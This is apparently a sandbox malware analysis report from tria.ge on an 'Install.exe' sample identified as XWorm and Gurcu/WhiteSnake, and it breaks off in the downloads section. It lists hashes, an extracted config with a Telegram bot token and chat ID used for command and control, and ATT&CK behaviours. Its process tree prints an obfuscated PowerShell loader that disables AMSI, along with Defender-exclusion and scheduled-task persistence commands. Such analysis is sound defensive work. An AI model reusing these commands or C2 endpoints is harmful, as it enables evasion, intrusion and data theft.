Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    1050s
  • max time network
    434s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/12/2024, 11:57

General

  • Target

    Install.exe

  • Size

    259KB

  • MD5

    28db4677dcbbaa0a4c5adbc02c9da4f3

  • SHA1

    e1f0199ed131a90e25204399e4e876da64ea3ba5

  • SHA256

    b871ed20d46a9be3a4aedb5facad152ab24289b6866076cb7ffc59721ca7525c

  • SHA512

    718ad88f930160a83c59d9f73d41cf4ea76de3c929956bffb618631d6450b7f59d4b2eb62afa59eff29461b256c402d387df9fdadee9a1a9d1b5e65cea45de52

  • SSDEEP

    6144:ByHp/aGMFlSShM00Iyew/2xrvhwCS9KSyiIBov:IJ/pFJIyN/2RbhHiIS

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    ntoskrnl.exe

  • pastebin_url

    https://pastebin.com/raw/Zx6DUkf9

  • telegram

    https://api.telegram.org/bot6521061783:AAG8RBSc5RacffL-i60qrqMJYo0j7RajlZI/sendMessage?chat_id=5999137434

Extracted

Family

gurcu

C2

https://api.telegram.org/bot6521061783:AAG8RBSc5RacffL-i60qrqMJYo0j7RajlZI/sendMessage?chat_id=5999137434

Signatures

  • Detect Xworm Payload 3 IoCs
  • Gurcu family
  • Gurcu, WhiteSnake

    Gurcu aka WhiteSnake is a malware stealer written in C#.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 20 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 20 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 7 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:316
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{16f93da0-7c81-4aca-b719-0e40f312c67e}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1316
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Drops file in System32 directory
        PID:672
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:952
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:436
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:736
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:948
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                1⤵
                  PID:528
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                  • Drops file in System32 directory
                  PID:1116
                  • C:\Windows\system32\taskhostw.exe
                    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                    2⤵
                      PID:2108
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:sKzpcWqEiWPT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$eTvtXNMyDctKxj,[Parameter(Position=1)][Type]$lRRxzPwUHw)$hadGweXAfCE=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+'l'+[Char](101)+''+'c'+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'Ty'+[Char](112)+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+'ss,'+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+'a'+'l'+''+[Char](101)+'d'+','+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+'a'+'s'+'s'+','+'A'+'u'+'t'+''+'o'+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$hadGweXAfCE.DefineConstructor(''+[Char](82)+''+[Char](84)+'Sp'+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+','+'Hi'+'d'+''+'e'+''+'B'+''+'y'+''+[Char](83)+''+'i'+'g'+','+''+[Char](80)+'u'+[Char](98)+''+'l'+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$eTvtXNMyDctKxj).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me'+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+'g'+'e'+'d');$hadGweXAfCE.DefineMethod('In'+[Char](118)+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+'ub'+'l'+''+[Char](105)+'c'+','+''+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+'y'+[Char](83)+''+'i'+'g'+[Char](44)+''+'N'+'e'+'w'+''+'S'+''+'l'+''+[Char](111)+''+[Char](116)+','+[Char](86)+'i'+[Char](114)+''+[Char](116)+'ual',$lRRxzPwUHw,$eTvtXNMyDctKxj).SetImplementationFlags('Runti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+'d');Write-Output $hadGweXAfCE.CreateType();}$kXwmSJLEyORnv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'t'+[Char](101)+''+'m'+''+[Char](46)+''+'d'+''+'l'+'l')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+'a'+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+'t'+'h'+'o'+''+[Char](100)+''+[Char](115)+'');$kJVOhdapmfgqFz=$kXwmSJLEyORnv.GetMethod(''+[Char](71)+'etPro'+'c'+''+[Char](65)+'d'+'d'+'r'+[Char](101)+'s'+'s'+'',[Reflection.BindingFlags]('P'+'u'+'b'+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bNHBqGLgBRZTBoLQmzA=sKzpcWqEiWPT @([String])([IntPtr]);$klRhwkubnkCuGnQnaMkhIO=sKzpcWqEiWPT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$eFpjGSUpwTn=$kXwmSJLEyORnv.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+'odu'+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'n'+'d'+'le').Invoke($Null,@([Object](''+'k'+''+'e'+'r'+[Char](110)+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+'d'+''+'l'+''+'l'+'')));$QxSLlbYQEFIrIa=$kJVOhdapmfgqFz.Invoke($Null,@([Object]$eFpjGSUpwTn,[Object]('L'+[Char](111)+''+[Char](97)+'dL'+[Char](105)+''+'b'+''+[Char](114)+''+'a'+'r'+'y'+''+[Char](65)+'')));$wtSghmOWSCpAiVpAs=$kJVOhdapmfgqFz.Invoke($Null,@([Object]$eFpjGSUpwTn,[Object]('V'+'i'+''+'r'+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+'t'+'')));$vDVjXQj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QxSLlbYQEFIrIa,$bNHBqGLgBRZTBoLQmzA).Invoke(''+[Char](97)+'ms'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$FiGdBjuJTcGJNKdko=$kJVOhdapmfgqFz.Invoke($Null,@([Object]$vDVjXQj,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'an'+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$CMPhqddnMe=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wtSghmOWSCpAiVpAs,$klRhwkubnkCuGnQnaMkhIO).Invoke($FiGdBjuJTcGJNKdko,[uint32]8,4,[ref]$CMPhqddnMe);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$FiGdBjuJTcGJNKdko,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wtSghmOWSCpAiVpAs,$klRhwkubnkCuGnQnaMkhIO).Invoke($FiGdBjuJTcGJNKdko,[uint32]8,0x20,[ref]$CMPhqddnMe);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:1460
                    • C:\ProgramData\ntoskrnl.exe
                      C:\ProgramData\ntoskrnl.exe
                      2⤵
                      • Executes dropped EXE
                      PID:3068
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1192
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                      • Indicator Removal: Clear Windows Event Logs
                      PID:1240
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                      1⤵
                        PID:1308
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                        1⤵
                          PID:1364
                          • C:\Windows\system32\sihost.exe
                            sihost.exe
                            2⤵
                            • Modifies registry class
                            PID:2952
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                          1⤵
                            PID:1388
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                            1⤵
                              PID:1420
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                              1⤵
                                PID:1448
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                1⤵
                                  PID:1564
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                  1⤵
                                    PID:1600
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                    1⤵
                                      PID:1656
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                      1⤵
                                        PID:1708
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                        1⤵
                                          PID:1764
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                          1⤵
                                            PID:1772
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                            1⤵
                                              PID:1860
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1872
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                1⤵
                                                  PID:1924
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                  1⤵
                                                    PID:1940
                                                  • C:\Windows\System32\spoolsv.exe
                                                    C:\Windows\System32\spoolsv.exe
                                                    1⤵
                                                      PID:2044
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                      1⤵
                                                        PID:2052
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                        1⤵
                                                          PID:2220
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                          1⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2300
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                          1⤵
                                                            PID:2360
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                            1⤵
                                                              PID:2368
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                              1⤵
                                                              • Drops file in System32 directory
                                                              PID:2544
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                              1⤵
                                                              • Enumerates connected drives
                                                              PID:2552
                                                            • C:\Windows\sysmon.exe
                                                              C:\Windows\sysmon.exe
                                                              1⤵
                                                                PID:2632
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                1⤵
                                                                  PID:2672
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                  1⤵
                                                                    PID:2680
                                                                  • C:\Windows\system32\wbem\unsecapp.exe
                                                                    C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                    1⤵
                                                                      PID:2940
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:2960
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                        1⤵
                                                                          PID:1972
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                          1⤵
                                                                            PID:3324
                                                                          • C:\Windows\Explorer.EXE
                                                                            C:\Windows\Explorer.EXE
                                                                            1⤵
                                                                            • Suspicious use of UnmapMainImage
                                                                            PID:3412
                                                                            • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                              2⤵
                                                                              • Checks computer location settings
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:4824
                                                                              • C:\ProgramData\Install.exe
                                                                                "C:\ProgramData\Install.exe"
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:3260
                                                                              • C:\ProgramData\KrnlSetupSus.exe
                                                                                "C:\ProgramData\KrnlSetupSus.exe"
                                                                                3⤵
                                                                                • Checks computer location settings
                                                                                • Drops startup file
                                                                                • Executes dropped EXE
                                                                                • Adds Run key to start application
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                • Suspicious use of SetWindowsHookEx
                                                                                PID:2240
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\KrnlSetupSus.exe'
                                                                                  4⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:224
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    5⤵
                                                                                      PID:5040
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KrnlSetupSus.exe'
                                                                                    4⤵
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:1264
                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                      5⤵
                                                                                        PID:4416
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\ntoskrnl.exe'
                                                                                      4⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      PID:3408
                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                        5⤵
                                                                                          PID:960
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'ntoskrnl.exe'
                                                                                        4⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        PID:4428
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          5⤵
                                                                                            PID:4340
                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                            C:\Windows\system32\WerFault.exe -u -p 4428 -s 368
                                                                                            5⤵
                                                                                            • Checks processor information in registry
                                                                                            • Enumerates system info in registry
                                                                                            PID:3624
                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "ntoskrnl" /tr "C:\ProgramData\ntoskrnl.exe"
                                                                                          4⤵
                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                          PID:2596
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            5⤵
                                                                                              PID:1960
                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                            "C:\Windows\System32\schtasks.exe" /delete /f /tn "ntoskrnl"
                                                                                            4⤵
                                                                                              PID:4668
                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                5⤵
                                                                                                  PID:2588
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF52D.tmp.bat""
                                                                                                4⤵
                                                                                                  PID:2648
                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                    5⤵
                                                                                                      PID:2744
                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                      timeout 3
                                                                                                      5⤵
                                                                                                      • Delays execution with timeout.exe
                                                                                                      PID:3312
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                              1⤵
                                                                                                PID:3544
                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                1⤵
                                                                                                  PID:3724
                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:3888
                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:3488
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                      1⤵
                                                                                                      • Modifies data under HKEY_USERS
                                                                                                      PID:4284
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                      1⤵
                                                                                                        PID:4212
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                        1⤵
                                                                                                          PID:532
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                          1⤵
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:4456
                                                                                                        • C:\Windows\system32\SppExtComObj.exe
                                                                                                          C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:3948
                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                            1⤵
                                                                                                              PID:3120
                                                                                                            • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                              "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                              1⤵
                                                                                                              • Drops file in System32 directory
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              PID:4216
                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                              1⤵
                                                                                                                PID:1132
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                1⤵
                                                                                                                  PID:4716
                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:3868
                                                                                                                  • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                                                                                                                    1⤵
                                                                                                                      PID:3420
                                                                                                                    • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                      1⤵
                                                                                                                      • Checks BIOS information in registry
                                                                                                                      • Writes to the Master Boot Record (MBR)
                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                      • Checks processor information in registry
                                                                                                                      • Enumerates system info in registry
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:1176
                                                                                                                    • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                      C:\Windows\System32\WaaSMedicAgent.exe 93a6e12ecb4ffb43dc21ed708ca9839c jNOCck6ftUqrVbTwZDduXg.0.1.0.0.0
                                                                                                                      1⤵
                                                                                                                      • Sets service image path in registry
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      PID:1560
                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        2⤵
                                                                                                                          PID:3632
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                        1⤵
                                                                                                                        • Drops file in Windows directory
                                                                                                                        PID:1572
                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                        C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                        1⤵
                                                                                                                          PID:4464
                                                                                                                        • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                          C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                          1⤵
                                                                                                                          • Drops file in Windows directory
                                                                                                                          PID:2228
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                          1⤵
                                                                                                                            PID:4408
                                                                                                                          • C:\Windows\System32\mousocoreworker.exe
                                                                                                                            C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                            • Checks processor information in registry
                                                                                                                            • Enumerates system info in registry
                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                            PID:3908
                                                                                                                          • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                            C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:4428
                                                                                                                            • C:\Windows\System32\mousocoreworker.exe
                                                                                                                              C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                              1⤵
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Enumerates system info in registry
                                                                                                                              PID:2256

                                                                                                                            Network

                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                            Replay Monitor

                                                                                                                            Loading Replay Monitor...

                                                                                                                            Downloads

                                                                                                                            • C:\ProgramData\Install.exe

                                                                                                                              Filesize

                                                                                                                              162KB

                                                                                                                              MD5

                                                                                                                              b5f6c9ac3389f5e61b4c750cf950e27c

                                                                                                                              SHA1

                                                                                                                              dbe0cca47ab36938ed022311f97736fc2915ff06

                                                                                                                              SHA256

                                                                                                                              bd4062e261a7ac5893e95a88d79564b44aad58ca446c3649a50589415b64d098

                                                                                                                              SHA512

